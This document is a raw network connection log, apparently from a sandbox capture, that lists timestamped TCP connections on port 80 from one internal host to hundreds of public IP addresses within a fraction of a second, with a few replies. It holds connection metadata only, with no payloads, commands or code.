Dec 3, 2024 23:01:51.063338041 CET	60046	80	192.168.2.23	82.206.110.80
Dec 3, 2024 23:01:51.063339949 CET	60046	80	192.168.2.23	147.10.68.2
Dec 3, 2024 23:01:51.063344955 CET	60046	80	192.168.2.23	208.209.211.112
Dec 3, 2024 23:01:51.063359022 CET	60046	80	192.168.2.23	140.207.30.242
Dec 3, 2024 23:01:51.063363075 CET	60046	80	192.168.2.23	159.173.225.8
Dec 3, 2024 23:01:51.063364983 CET	60046	80	192.168.2.23	103.161.218.4
Dec 3, 2024 23:01:51.063366890 CET	60046	80	192.168.2.23	170.9.133.68
Dec 3, 2024 23:01:51.063366890 CET	60046	80	192.168.2.23	38.170.147.54
Dec 3, 2024 23:01:51.063366890 CET	60046	80	192.168.2.23	135.134.152.126
Dec 3, 2024 23:01:51.063366890 CET	60046	80	192.168.2.23	147.27.113.124
Dec 3, 2024 23:01:51.063375950 CET	60046	80	192.168.2.23	34.240.169.36
Dec 3, 2024 23:01:51.063380003 CET	60046	80	192.168.2.23	130.125.218.219
Dec 3, 2024 23:01:51.063380957 CET	60046	80	192.168.2.23	46.195.248.88
Dec 3, 2024 23:01:51.063396931 CET	60046	80	192.168.2.23	43.172.190.131
Dec 3, 2024 23:01:51.063396931 CET	60046	80	192.168.2.23	217.97.226.221
Dec 3, 2024 23:01:51.063399076 CET	60046	80	192.168.2.23	39.227.17.235
Dec 3, 2024 23:01:51.063396931 CET	60046	80	192.168.2.23	176.225.48.139
Dec 3, 2024 23:01:51.063396931 CET	60046	80	192.168.2.23	80.238.230.56
Dec 3, 2024 23:01:51.063400030 CET	60046	80	192.168.2.23	209.49.165.237
Dec 3, 2024 23:01:51.063400030 CET	60046	80	192.168.2.23	194.88.15.56
Dec 3, 2024 23:01:51.063396931 CET	60046	80	192.168.2.23	141.76.215.185
Dec 3, 2024 23:01:51.063400030 CET	60046	80	192.168.2.23	134.157.5.67
Dec 3, 2024 23:01:51.063400984 CET	60046	80	192.168.2.23	23.81.182.251
Dec 3, 2024 23:01:51.063409090 CET	60046	80	192.168.2.23	17.185.40.26
Dec 3, 2024 23:01:51.063410044 CET	60046	80	192.168.2.23	85.25.186.196
Dec 3, 2024 23:01:51.063410044 CET	60046	80	192.168.2.23	152.255.188.141
Dec 3, 2024 23:01:51.063410997 CET	60046	80	192.168.2.23	130.87.195.54
Dec 3, 2024 23:01:51.063411951 CET	60046	80	192.168.2.23	87.94.13.3
Dec 3, 2024 23:01:51.063410997 CET	60046	80	192.168.2.23	186.222.173.100
Dec 3, 2024 23:01:51.063410997 CET	60046	80	192.168.2.23	210.153.54.187
Dec 3, 2024 23:01:51.063415051 CET	60046	80	192.168.2.23	14.127.226.24
Dec 3, 2024 23:01:51.063415051 CET	60046	80	192.168.2.23	192.198.147.233
Dec 3, 2024 23:01:51.063415051 CET	60046	80	192.168.2.23	82.108.192.93
Dec 3, 2024 23:01:51.063415051 CET	60046	80	192.168.2.23	138.54.24.178
Dec 3, 2024 23:01:51.063415051 CET	60046	80	192.168.2.23	109.74.247.238
Dec 3, 2024 23:01:51.063417912 CET	60046	80	192.168.2.23	129.199.163.25
Dec 3, 2024 23:01:51.063419104 CET	80	33328	60.164.109.203	192.168.2.23
Dec 3, 2024 23:01:51.063426018 CET	60046	80	192.168.2.23	48.251.243.10
Dec 3, 2024 23:01:51.063427925 CET	80	41578	184.47.95.238	192.168.2.23
Dec 3, 2024 23:01:51.063430071 CET	60046	80	192.168.2.23	70.25.63.157
Dec 3, 2024 23:01:51.063430071 CET	60046	80	192.168.2.23	93.130.101.134
Dec 3, 2024 23:01:51.063430071 CET	60046	80	192.168.2.23	57.56.57.154
Dec 3, 2024 23:01:51.063433886 CET	60046	80	192.168.2.23	8.133.188.41
Dec 3, 2024 23:01:51.063435078 CET	60046	80	192.168.2.23	222.55.73.225
Dec 3, 2024 23:01:51.063436031 CET	60046	80	192.168.2.23	24.162.186.64
Dec 3, 2024 23:01:51.063436985 CET	60046	80	192.168.2.23	137.43.213.163
Dec 3, 2024 23:01:51.063446999 CET	80	46656	79.149.81.197	192.168.2.23
Dec 3, 2024 23:01:51.063447952 CET	60046	80	192.168.2.23	49.115.48.134
Dec 3, 2024 23:01:51.063448906 CET	60046	80	192.168.2.23	12.12.95.234
Dec 3, 2024 23:01:51.063451052 CET	60046	80	192.168.2.23	58.30.242.189
Dec 3, 2024 23:01:51.063452959 CET	60046	80	192.168.2.23	90.93.186.197
Dec 3, 2024 23:01:51.063455105 CET	60046	80	192.168.2.23	164.155.207.200
Dec 3, 2024 23:01:51.063455105 CET	33328	80	192.168.2.23	60.164.109.203
Dec 3, 2024 23:01:51.063455105 CET	60046	80	192.168.2.23	98.180.205.225
Dec 3, 2024 23:01:51.063457012 CET	80	33014	124.90.254.6	192.168.2.23
Dec 3, 2024 23:01:51.063461065 CET	60046	80	192.168.2.23	67.216.62.149
Dec 3, 2024 23:01:51.063465118 CET	60046	80	192.168.2.23	80.156.50.186
Dec 3, 2024 23:01:51.063466072 CET	80	41642	184.47.95.238	192.168.2.23
Dec 3, 2024 23:01:51.063472986 CET	46656	80	192.168.2.23	79.149.81.197
Dec 3, 2024 23:01:51.063479900 CET	60046	80	192.168.2.23	45.3.81.32
Dec 3, 2024 23:01:51.063493013 CET	60046	80	192.168.2.23	211.54.48.161
Dec 3, 2024 23:01:51.063498974 CET	60046	80	192.168.2.23	144.119.178.59
Dec 3, 2024 23:01:51.063498974 CET	60046	80	192.168.2.23	12.54.185.74
Dec 3, 2024 23:01:51.063499928 CET	41642	80	192.168.2.23	184.47.95.238
Dec 3, 2024 23:01:51.063505888 CET	60046	80	192.168.2.23	75.84.226.126
Dec 3, 2024 23:01:51.063507080 CET	60046	80	192.168.2.23	93.14.121.227
Dec 3, 2024 23:01:51.063509941 CET	60046	80	192.168.2.23	58.94.158.196
Dec 3, 2024 23:01:51.063509941 CET	60046	80	192.168.2.23	62.17.164.99
Dec 3, 2024 23:01:51.063510895 CET	60046	80	192.168.2.23	72.23.142.91
Dec 3, 2024 23:01:51.063510895 CET	60046	80	192.168.2.23	108.172.48.15
Dec 3, 2024 23:01:51.063517094 CET	60046	80	192.168.2.23	148.231.243.124
Dec 3, 2024 23:01:51.063536882 CET	60046	80	192.168.2.23	93.208.120.58
Dec 3, 2024 23:01:51.063536882 CET	60046	80	192.168.2.23	54.163.106.253
Dec 3, 2024 23:01:51.063539028 CET	60046	80	192.168.2.23	39.238.1.150
Dec 3, 2024 23:01:51.063539982 CET	60046	80	192.168.2.23	150.215.86.134
Dec 3, 2024 23:01:51.063544035 CET	60046	80	192.168.2.23	216.183.116.76
Dec 3, 2024 23:01:51.063544035 CET	60046	80	192.168.2.23	104.249.201.65
Dec 3, 2024 23:01:51.063551903 CET	60046	80	192.168.2.23	67.211.195.34
Dec 3, 2024 23:01:51.063556910 CET	60046	80	192.168.2.23	97.55.249.122
Dec 3, 2024 23:01:51.063570976 CET	60046	80	192.168.2.23	19.65.218.238
Dec 3, 2024 23:01:51.063570976 CET	60046	80	192.168.2.23	188.213.177.138
Dec 3, 2024 23:01:51.063571930 CET	60046	80	192.168.2.23	159.249.65.254
Dec 3, 2024 23:01:51.063571930 CET	60046	80	192.168.2.23	67.233.108.53
Dec 3, 2024 23:01:51.063586950 CET	60046	80	192.168.2.23	133.248.246.78
Dec 3, 2024 23:01:51.063596010 CET	60046	80	192.168.2.23	96.165.114.160
Dec 3, 2024 23:01:51.063597918 CET	60046	80	192.168.2.23	59.181.83.84
Dec 3, 2024 23:01:51.063605070 CET	60046	80	192.168.2.23	93.131.179.101
Dec 3, 2024 23:01:51.063608885 CET	60046	80	192.168.2.23	175.232.149.195
Dec 3, 2024 23:01:51.063621044 CET	60046	80	192.168.2.23	165.35.203.196
Dec 3, 2024 23:01:51.063621998 CET	60046	80	192.168.2.23	95.106.229.150
Dec 3, 2024 23:01:51.063621044 CET	60046	80	192.168.2.23	208.216.74.168
Dec 3, 2024 23:01:51.063633919 CET	60046	80	192.168.2.23	57.48.189.39
Dec 3, 2024 23:01:51.063636065 CET	60046	80	192.168.2.23	38.118.239.180
Dec 3, 2024 23:01:51.063636065 CET	60046	80	192.168.2.23	49.5.147.213
Dec 3, 2024 23:01:51.063647985 CET	60046	80	192.168.2.23	44.42.12.183
Dec 3, 2024 23:01:51.063647985 CET	60046	80	192.168.2.23	169.188.39.189
Dec 3, 2024 23:01:51.063656092 CET	60046	80	192.168.2.23	207.101.143.116
Dec 3, 2024 23:01:51.063658953 CET	60046	80	192.168.2.23	48.116.79.214
Dec 3, 2024 23:01:51.063666105 CET	60046	80	192.168.2.23	221.184.100.201
Dec 3, 2024 23:01:51.063666105 CET	60046	80	192.168.2.23	19.197.83.88
Dec 3, 2024 23:01:51.063678980 CET	60046	80	192.168.2.23	181.110.1.179
Dec 3, 2024 23:01:51.063689947 CET	60046	80	192.168.2.23	76.16.68.194
Dec 3, 2024 23:01:51.063692093 CET	60046	80	192.168.2.23	25.241.66.152
Dec 3, 2024 23:01:51.063692093 CET	60046	80	192.168.2.23	194.130.69.6
Dec 3, 2024 23:01:51.063692093 CET	60046	80	192.168.2.23	179.125.109.224
Dec 3, 2024 23:01:51.063699007 CET	60046	80	192.168.2.23	140.204.3.105
Dec 3, 2024 23:01:51.063702106 CET	60046	80	192.168.2.23	193.7.217.121
Dec 3, 2024 23:01:51.063704014 CET	60046	80	192.168.2.23	99.95.65.146
Dec 3, 2024 23:01:51.063713074 CET	60046	80	192.168.2.23	154.133.44.111
Dec 3, 2024 23:01:51.063713074 CET	60046	80	192.168.2.23	101.180.153.183
Dec 3, 2024 23:01:51.063713074 CET	60046	80	192.168.2.23	49.26.58.62
Dec 3, 2024 23:01:51.063719988 CET	60046	80	192.168.2.23	39.128.81.177
Dec 3, 2024 23:01:51.063719988 CET	60046	80	192.168.2.23	83.106.116.111
Dec 3, 2024 23:01:51.063719988 CET	60046	80	192.168.2.23	20.63.17.66
Dec 3, 2024 23:01:51.063721895 CET	60046	80	192.168.2.23	44.71.192.221
Dec 3, 2024 23:01:51.063724041 CET	60046	80	192.168.2.23	18.85.56.16
Dec 3, 2024 23:01:51.063724995 CET	60046	80	192.168.2.23	164.179.185.29
Dec 3, 2024 23:01:51.063724041 CET	60046	80	192.168.2.23	192.77.226.135
Dec 3, 2024 23:01:51.063724995 CET	60046	80	192.168.2.23	213.170.88.5
Dec 3, 2024 23:01:51.063733101 CET	60046	80	192.168.2.23	191.159.94.94
Dec 3, 2024 23:01:51.063750982 CET	60046	80	192.168.2.23	35.143.254.114
Dec 3, 2024 23:01:51.063751936 CET	60046	80	192.168.2.23	47.200.93.150
Dec 3, 2024 23:01:51.063751936 CET	60046	80	192.168.2.23	36.172.179.43
Dec 3, 2024 23:01:51.063751936 CET	60046	80	192.168.2.23	152.29.13.194
Dec 3, 2024 23:01:51.063760042 CET	60046	80	192.168.2.23	118.134.250.241
Dec 3, 2024 23:01:51.063761950 CET	60046	80	192.168.2.23	210.1.156.2
Dec 3, 2024 23:01:51.063775063 CET	60046	80	192.168.2.23	41.23.76.7
Dec 3, 2024 23:01:51.063776016 CET	60046	80	192.168.2.23	217.2.223.87
Dec 3, 2024 23:01:51.063776016 CET	60046	80	192.168.2.23	35.148.26.203
Dec 3, 2024 23:01:51.063779116 CET	60046	80	192.168.2.23	202.251.4.154
Dec 3, 2024 23:01:51.063779116 CET	60046	80	192.168.2.23	147.170.102.2
Dec 3, 2024 23:01:51.063791990 CET	60046	80	192.168.2.23	49.199.162.47
Dec 3, 2024 23:01:51.063793898 CET	60046	80	192.168.2.23	39.195.174.166
Dec 3, 2024 23:01:51.063796997 CET	60046	80	192.168.2.23	72.200.242.152
Dec 3, 2024 23:01:51.063796997 CET	60046	80	192.168.2.23	35.163.255.178
Dec 3, 2024 23:01:51.063805103 CET	60046	80	192.168.2.23	18.195.13.242
Dec 3, 2024 23:01:51.063807964 CET	60046	80	192.168.2.23	156.152.174.123
Dec 3, 2024 23:01:51.063812017 CET	80	33078	124.90.254.6	192.168.2.23
Dec 3, 2024 23:01:51.063812971 CET	60046	80	192.168.2.23	174.58.63.81
Dec 3, 2024 23:01:51.063817024 CET	60046	80	192.168.2.23	111.209.75.84
Dec 3, 2024 23:01:51.063822031 CET	80	40858	184.220.227.77	192.168.2.23
Dec 3, 2024 23:01:51.063832045 CET	80	40920	184.220.227.77	192.168.2.23
Dec 3, 2024 23:01:51.063832045 CET	60046	80	192.168.2.23	180.184.83.8
Dec 3, 2024 23:01:51.063832045 CET	60046	80	192.168.2.23	108.4.165.168
Dec 3, 2024 23:01:51.063832045 CET	60046	80	192.168.2.23	188.152.66.108
Dec 3, 2024 23:01:51.063834906 CET	60046	80	192.168.2.23	57.109.183.196
Dec 3, 2024 23:01:51.063841105 CET	80	37830	165.207.12.117	192.168.2.23
Dec 3, 2024 23:01:51.063844919 CET	80	37892	165.207.12.117	192.168.2.23
Dec 3, 2024 23:01:51.063844919 CET	33078	80	192.168.2.23	124.90.254.6
Dec 3, 2024 23:01:51.063853025 CET	80	54432	158.67.27.131	192.168.2.23
Dec 3, 2024 23:01:51.063857079 CET	60046	80	192.168.2.23	51.77.177.77
Dec 3, 2024 23:01:51.063863039 CET	80	54500	158.67.27.131	192.168.2.23
Dec 3, 2024 23:01:51.063864946 CET	37892	80	192.168.2.23	165.207.12.117
Dec 3, 2024 23:01:51.063864946 CET	40920	80	192.168.2.23	184.220.227.77
Dec 3, 2024 23:01:51.063874006 CET	80	44186	124.180.100.208	192.168.2.23
Dec 3, 2024 23:01:51.063882113 CET	60046	80	192.168.2.23	191.28.84.250
Dec 3, 2024 23:01:51.063886881 CET	54500	80	192.168.2.23	158.67.27.131
Dec 3, 2024 23:01:51.063888073 CET	80	44122	124.180.100.208	192.168.2.23
Dec 3, 2024 23:01:51.063895941 CET	60046	80	192.168.2.23	86.177.231.125
Dec 3, 2024 23:01:51.063898087 CET	80	57712	212.110.217.75	192.168.2.23
Dec 3, 2024 23:01:51.063904047 CET	60046	80	192.168.2.23	195.55.107.9
Dec 3, 2024 23:01:51.063906908 CET	80	57776	212.110.217.75	192.168.2.23
Dec 3, 2024 23:01:51.063910007 CET	44186	80	192.168.2.23	124.180.100.208
Dec 3, 2024 23:01:51.063910961 CET	60046	80	192.168.2.23	83.32.158.54
Dec 3, 2024 23:01:51.063915014 CET	80	56846	203.53.63.115	192.168.2.23
Dec 3, 2024 23:01:51.063924074 CET	80	56910	203.53.63.115	192.168.2.23
Dec 3, 2024 23:01:51.063931942 CET	60046	80	192.168.2.23	53.248.245.53
Dec 3, 2024 23:01:51.063935041 CET	60046	80	192.168.2.23	109.63.140.54
Dec 3, 2024 23:01:51.063941002 CET	80	44190	112.16.175.41	192.168.2.23
Dec 3, 2024 23:01:51.063941956 CET	57776	80	192.168.2.23	212.110.217.75
Dec 3, 2024 23:01:51.063944101 CET	60046	80	192.168.2.23	122.192.47.42
Dec 3, 2024 23:01:51.063946009 CET	60046	80	192.168.2.23	173.193.109.124
Dec 3, 2024 23:01:51.063952923 CET	56910	80	192.168.2.23	203.53.63.115
Dec 3, 2024 23:01:51.063968897 CET	60046	80	192.168.2.23	75.129.225.180
Dec 3, 2024 23:01:51.063970089 CET	60046	80	192.168.2.23	79.235.249.255
Dec 3, 2024 23:01:51.063977957 CET	60046	80	192.168.2.23	220.217.186.31
Dec 3, 2024 23:01:51.063977957 CET	60046	80	192.168.2.23	32.32.139.2
Dec 3, 2024 23:01:51.063988924 CET	60046	80	192.168.2.23	38.68.149.209
Dec 3, 2024 23:01:51.063992977 CET	60046	80	192.168.2.23	38.56.252.197
Dec 3, 2024 23:01:51.063993931 CET	60046	80	192.168.2.23	52.193.72.91
Dec 3, 2024 23:01:51.064002991 CET	60046	80	192.168.2.23	117.50.41.94
Dec 3, 2024 23:01:51.064012051 CET	60046	80	192.168.2.23	164.249.11.179
Dec 3, 2024 23:01:51.064028025 CET	60046	80	192.168.2.23	133.214.21.101
Dec 3, 2024 23:01:51.064028025 CET	60046	80	192.168.2.23	78.14.79.27
Dec 3, 2024 23:01:51.064030886 CET	60046	80	192.168.2.23	211.233.25.153
Dec 3, 2024 23:01:51.064033985 CET	60046	80	192.168.2.23	59.134.171.167
Dec 3, 2024 23:01:51.064033985 CET	60046	80	192.168.2.23	200.143.141.248
Dec 3, 2024 23:01:51.064039946 CET	60046	80	192.168.2.23	81.216.195.100
Dec 3, 2024 23:01:51.064050913 CET	60046	80	192.168.2.23	132.45.233.45
Dec 3, 2024 23:01:51.064052105 CET	60046	80	192.168.2.23	173.229.38.204
Dec 3, 2024 23:01:51.064054012 CET	60046	80	192.168.2.23	148.13.242.127
Dec 3, 2024 23:01:51.064064026 CET	60046	80	192.168.2.23	40.203.112.108
Dec 3, 2024 23:01:51.064073086 CET	60046	80	192.168.2.23	222.193.21.4
Dec 3, 2024 23:01:51.064081907 CET	60046	80	192.168.2.23	131.68.207.74
Dec 3, 2024 23:01:51.064085007 CET	60046	80	192.168.2.23	164.129.97.28
Dec 3, 2024 23:01:51.064100027 CET	60046	80	192.168.2.23	84.103.89.249
Dec 3, 2024 23:01:51.064100027 CET	60046	80	192.168.2.23	109.147.232.130
Dec 3, 2024 23:01:51.064105034 CET	60046	80	192.168.2.23	182.242.169.111
Dec 3, 2024 23:01:51.064116001 CET	60046	80	192.168.2.23	140.225.78.38
Dec 3, 2024 23:01:51.064116001 CET	60046	80	192.168.2.23	208.19.138.76
Dec 3, 2024 23:01:51.064117908 CET	60046	80	192.168.2.23	158.21.217.153
Dec 3, 2024 23:01:51.064135075 CET	60046	80	192.168.2.23	50.54.107.250
Dec 3, 2024 23:01:51.064136028 CET	60046	80	192.168.2.23	39.98.164.143
Dec 3, 2024 23:01:51.064137936 CET	60046	80	192.168.2.23	155.199.253.109
Dec 3, 2024 23:01:51.064138889 CET	60046	80	192.168.2.23	137.239.113.53
Dec 3, 2024 23:01:51.064156055 CET	60046	80	192.168.2.23	198.96.150.69
Dec 3, 2024 23:01:51.064158916 CET	60046	80	192.168.2.23	146.91.101.14
Dec 3, 2024 23:01:51.064167023 CET	60046	80	192.168.2.23	157.214.128.96
Dec 3, 2024 23:01:51.064172029 CET	60046	80	192.168.2.23	206.109.171.2
Dec 3, 2024 23:01:51.064182043 CET	60046	80	192.168.2.23	170.133.134.107
Dec 3, 2024 23:01:51.064183950 CET	60046	80	192.168.2.23	14.200.26.93
Dec 3, 2024 23:01:51.064183950 CET	60046	80	192.168.2.23	210.155.167.212
Dec 3, 2024 23:01:51.064186096 CET	60046	80	192.168.2.23	158.235.76.157
Dec 3, 2024 23:01:51.064207077 CET	60046	80	192.168.2.23	124.84.181.122
Dec 3, 2024 23:01:51.064207077 CET	60046	80	192.168.2.23	80.50.55.229
Dec 3, 2024 23:01:51.064207077 CET	60046	80	192.168.2.23	118.97.75.249
Dec 3, 2024 23:01:51.064209938 CET	60046	80	192.168.2.23	81.191.204.96
Dec 3, 2024 23:01:51.064210892 CET	60046	80	192.168.2.23	35.57.193.134
Dec 3, 2024 23:01:51.064210892 CET	60046	80	192.168.2.23	119.182.41.143
Dec 3, 2024 23:01:51.064217091 CET	60046	80	192.168.2.23	190.209.74.188
Dec 3, 2024 23:01:51.064225912 CET	60046	80	192.168.2.23	160.40.162.151
Dec 3, 2024 23:01:51.064227104 CET	60046	80	192.168.2.23	77.80.101.33
Dec 3, 2024 23:01:51.064232111 CET	60046	80	192.168.2.23	120.73.188.145
Dec 3, 2024 23:01:51.064244986 CET	60046	80	192.168.2.23	191.180.93.20
Dec 3, 2024 23:01:51.064244986 CET	60046	80	192.168.2.23	50.42.186.241
Dec 3, 2024 23:01:51.064246893 CET	60046	80	192.168.2.23	120.14.189.121
Dec 3, 2024 23:01:51.064246893 CET	60046	80	192.168.2.23	134.165.201.85
Dec 3, 2024 23:01:51.064253092 CET	60046	80	192.168.2.23	101.132.147.161
Dec 3, 2024 23:01:51.064253092 CET	60046	80	192.168.2.23	167.154.130.70
Dec 3, 2024 23:01:51.064253092 CET	60046	80	192.168.2.23	218.227.189.19
Dec 3, 2024 23:01:51.064254045 CET	60046	80	192.168.2.23	198.187.202.60
Dec 3, 2024 23:01:51.064264059 CET	60046	80	192.168.2.23	167.79.109.224
Dec 3, 2024 23:01:51.064266920 CET	60046	80	192.168.2.23	174.133.21.101
Dec 3, 2024 23:01:51.064270020 CET	60046	80	192.168.2.23	186.39.119.24
Dec 3, 2024 23:01:51.064280987 CET	60046	80	192.168.2.23	207.252.54.24
Dec 3, 2024 23:01:51.064281940 CET	60046	80	192.168.2.23	79.200.89.65
Dec 3, 2024 23:01:51.064296007 CET	60046	80	192.168.2.23	190.198.73.250
Dec 3, 2024 23:01:51.064296961 CET	60046	80	192.168.2.23	203.157.104.175
Dec 3, 2024 23:01:51.064305067 CET	60046	80	192.168.2.23	193.181.252.133
Dec 3, 2024 23:01:51.064311981 CET	60046	80	192.168.2.23	39.211.197.158
Dec 3, 2024 23:01:51.064335108 CET	60046	80	192.168.2.23	123.195.31.233
Dec 3, 2024 23:01:51.064335108 CET	60046	80	192.168.2.23	18.41.169.30
Dec 3, 2024 23:01:51.064336061 CET	60046	80	192.168.2.23	34.145.189.109
Dec 3, 2024 23:01:51.064336061 CET	60046	80	192.168.2.23	149.22.119.203
Dec 3, 2024 23:01:51.064340115 CET	60046	80	192.168.2.23	43.222.6.226
Dec 3, 2024 23:01:51.064340115 CET	60046	80	192.168.2.23	77.148.170.7
Dec 3, 2024 23:01:51.064342022 CET	60046	80	192.168.2.23	120.80.158.104
Dec 3, 2024 23:01:51.064342022 CET	60046	80	192.168.2.23	84.223.146.247
Dec 3, 2024 23:01:51.064342022 CET	60046	80	192.168.2.23	108.235.32.219
Dec 3, 2024 23:01:51.064346075 CET	60046	80	192.168.2.23	115.183.152.152
Dec 3, 2024 23:01:51.064347029 CET	60046	80	192.168.2.23	179.94.116.177
Dec 3, 2024 23:01:51.064347029 CET	60046	80	192.168.2.23	211.222.98.20
Dec 3, 2024 23:01:51.064357042 CET	60046	80	192.168.2.23	213.81.149.202
Dec 3, 2024 23:01:51.064357996 CET	60046	80	192.168.2.23	186.165.100.245
Dec 3, 2024 23:01:51.064361095 CET	60046	80	192.168.2.23	142.134.72.75
Dec 3, 2024 23:01:51.064373970 CET	60046	80	192.168.2.23	191.14.217.221
Dec 3, 2024 23:01:51.064373970 CET	60046	80	192.168.2.23	131.1.44.22
Dec 3, 2024 23:01:51.064374924 CET	60046	80	192.168.2.23	148.178.157.98
Dec 3, 2024 23:01:51.064374924 CET	60046	80	192.168.2.23	217.213.167.86
Dec 3, 2024 23:01:51.064374924 CET	60046	80	192.168.2.23	54.176.166.241
Dec 3, 2024 23:01:51.064374924 CET	60046	80	192.168.2.23	87.22.185.194
Dec 3, 2024 23:01:51.064378977 CET	60046	80	192.168.2.23	197.162.65.150
Dec 3, 2024 23:01:51.064380884 CET	60046	80	192.168.2.23	17.247.104.118
Dec 3, 2024 23:01:51.064383030 CET	60046	80	192.168.2.23	145.128.113.250
Dec 3, 2024 23:01:51.064383984 CET	60046	80	192.168.2.23	194.240.0.167
Dec 3, 2024 23:01:51.064383984 CET	60046	80	192.168.2.23	84.37.97.57
Dec 3, 2024 23:01:51.064400911 CET	60046	80	192.168.2.23	100.11.192.62
Dec 3, 2024 23:01:51.064403057 CET	60046	80	192.168.2.23	123.124.13.83
Dec 3, 2024 23:01:51.064410925 CET	60046	80	192.168.2.23	75.191.192.85
Dec 3, 2024 23:01:51.064414024 CET	60046	80	192.168.2.23	4.241.64.187
Dec 3, 2024 23:01:51.064415932 CET	60046	80	192.168.2.23	50.152.101.117
Dec 3, 2024 23:01:51.064418077 CET	60046	80	192.168.2.23	31.197.3.209
Dec 3, 2024 23:01:51.064419031 CET	60046	80	192.168.2.23	120.48.113.70
Dec 3, 2024 23:01:51.064419031 CET	60046	80	192.168.2.23	154.34.113.169
Dec 3, 2024 23:01:51.064419031 CET	60046	80	192.168.2.23	144.107.217.39
Dec 3, 2024 23:01:51.064425945 CET	60046	80	192.168.2.23	218.156.119.31
Dec 3, 2024 23:01:51.064425945 CET	60046	80	192.168.2.23	126.130.193.176
Dec 3, 2024 23:01:51.064426899 CET	60046	80	192.168.2.23	113.68.220.48
Dec 3, 2024 23:01:51.064429045 CET	60046	80	192.168.2.23	156.232.186.79
Dec 3, 2024 23:01:51.064445019 CET	60046	80	192.168.2.23	76.244.14.149
Dec 3, 2024 23:01:51.064445972 CET	60046	80	192.168.2.23	1.199.81.241
Dec 3, 2024 23:01:51.064445972 CET	60046	80	192.168.2.23	84.88.133.4
Dec 3, 2024 23:01:51.064449072 CET	60046	80	192.168.2.23	181.28.155.204
Dec 3, 2024 23:01:51.064455986 CET	60046	80	192.168.2.23	52.163.93.2
Dec 3, 2024 23:01:51.064456940 CET	60046	80	192.168.2.23	143.20.22.52
Dec 3, 2024 23:01:51.064467907 CET	60046	80	192.168.2.23	4.124.16.191
Dec 3, 2024 23:01:51.064469099 CET	60046	80	192.168.2.23	87.197.221.10
Dec 3, 2024 23:01:51.064482927 CET	60046	80	192.168.2.23	165.104.75.235
Dec 3, 2024 23:01:51.064482927 CET	60046	80	192.168.2.23	154.42.134.109
Dec 3, 2024 23:01:51.064485073 CET	60046	80	192.168.2.23	149.134.137.94
Dec 3, 2024 23:01:51.064486027 CET	60046	80	192.168.2.23	63.127.84.114
Dec 3, 2024 23:01:51.064491034 CET	60046	80	192.168.2.23	155.132.155.97
Dec 3, 2024 23:01:51.064502001 CET	60046	80	192.168.2.23	217.25.88.130
Dec 3, 2024 23:01:51.064512014 CET	60046	80	192.168.2.23	63.196.133.175
Dec 3, 2024 23:01:51.064515114 CET	60046	80	192.168.2.23	112.112.207.159
Dec 3, 2024 23:01:51.064517975 CET	60046	80	192.168.2.23	206.34.107.53
Dec 3, 2024 23:01:51.064527988 CET	60046	80	192.168.2.23	145.173.87.20
Dec 3, 2024 23:01:51.064527988 CET	60046	80	192.168.2.23	147.70.8.112
Dec 3, 2024 23:01:51.064527988 CET	60046	80	192.168.2.23	14.58.154.220
Dec 3, 2024 23:01:51.064542055 CET	60046	80	192.168.2.23	105.181.65.49
Dec 3, 2024 23:01:51.064543962 CET	60046	80	192.168.2.23	114.104.138.61
Dec 3, 2024 23:01:51.064547062 CET	60046	80	192.168.2.23	162.55.198.8
Dec 3, 2024 23:01:51.064553022 CET	60046	80	192.168.2.23	191.156.14.244
Dec 3, 2024 23:01:51.064553976 CET	60046	80	192.168.2.23	167.4.233.120
Dec 3, 2024 23:01:51.064563990 CET	60046	80	192.168.2.23	73.221.36.136
Dec 3, 2024 23:01:51.064568043 CET	60046	80	192.168.2.23	189.172.194.223
Dec 3, 2024 23:01:51.064574003 CET	60046	80	192.168.2.23	157.68.100.95
Dec 3, 2024 23:01:51.064579964 CET	60046	80	192.168.2.23	5.73.165.131
Dec 3, 2024 23:01:51.064594984 CET	60046	80	192.168.2.23	99.132.231.38
Dec 3, 2024 23:01:51.064595938 CET	60046	80	192.168.2.23	143.144.147.2
Dec 3, 2024 23:01:51.064599037 CET	60046	80	192.168.2.23	143.228.196.149
Dec 3, 2024 23:01:51.064599991 CET	60046	80	192.168.2.23	195.220.55.125
Dec 3, 2024 23:01:51.064630032 CET	33328	80	192.168.2.23	60.164.109.203
Dec 3, 2024 23:01:51.064636946 CET	46656	80	192.168.2.23	79.149.81.197
Dec 3, 2024 23:01:51.064651012 CET	33078	80	192.168.2.23	124.90.254.6
Dec 3, 2024 23:01:51.064651012 CET	41642	80	192.168.2.23	184.47.95.238
Dec 3, 2024 23:01:51.064667940 CET	54500	80	192.168.2.23	158.67.27.131
Dec 3, 2024 23:01:51.064671993 CET	40920	80	192.168.2.23	184.220.227.77
Dec 3, 2024 23:01:51.064681053 CET	37892	80	192.168.2.23	165.207.12.117
Dec 3, 2024 23:01:51.064686060 CET	44186	80	192.168.2.23	124.180.100.208
Dec 3, 2024 23:01:51.064692974 CET	57776	80	192.168.2.23	212.110.217.75
Dec 3, 2024 23:01:51.064699888 CET	56910	80	192.168.2.23	203.53.63.115
Dec 3, 2024 23:01:51.105859995 CET	80	44190	112.16.175.41	192.168.2.23
Dec 3, 2024 23:01:51.105869055 CET	80	56846	203.53.63.115	192.168.2.23
Dec 3, 2024 23:01:51.105906963 CET	80	57712	212.110.217.75	192.168.2.23
Dec 3, 2024 23:01:51.105963945 CET	80	44122	124.180.100.208	192.168.2.23
Dec 3, 2024 23:01:51.105972052 CET	80	54432	158.67.27.131	192.168.2.23
Dec 3, 2024 23:01:51.105979919 CET	80	37830	165.207.12.117	192.168.2.23
Dec 3, 2024 23:01:51.105993986 CET	80	40858	184.220.227.77	192.168.2.23
Dec 3, 2024 23:01:51.106019974 CET	80	33014	124.90.254.6	192.168.2.23
Dec 3, 2024 23:01:51.106029034 CET	80	41578	184.47.95.238	192.168.2.23
Dec 3, 2024 23:01:51.106033087 CET	80	46592	79.149.81.197	192.168.2.23
Dec 3, 2024 23:01:51.106044054 CET	80	33264	60.164.109.203	192.168.2.23
Dec 3, 2024 23:01:51.106053114 CET	80	48238	92.205.42.249	192.168.2.23
Dec 3, 2024 23:01:51.106103897 CET	80	57012	75.244.175.40	192.168.2.23
Dec 3, 2024 23:01:51.166168928 CET	80	35192	135.15.7.163	192.168.2.23
Dec 3, 2024 23:01:51.166251898 CET	35192	80	192.168.2.23	135.15.7.163
Dec 3, 2024 23:01:51.166300058 CET	35192	80	192.168.2.23	135.15.7.163
Dec 3, 2024 23:01:51.187011957 CET	80	60046	152.212.240.188	192.168.2.23
Dec 3, 2024 23:01:51.187025070 CET	80	60046	102.137.240.134	192.168.2.23
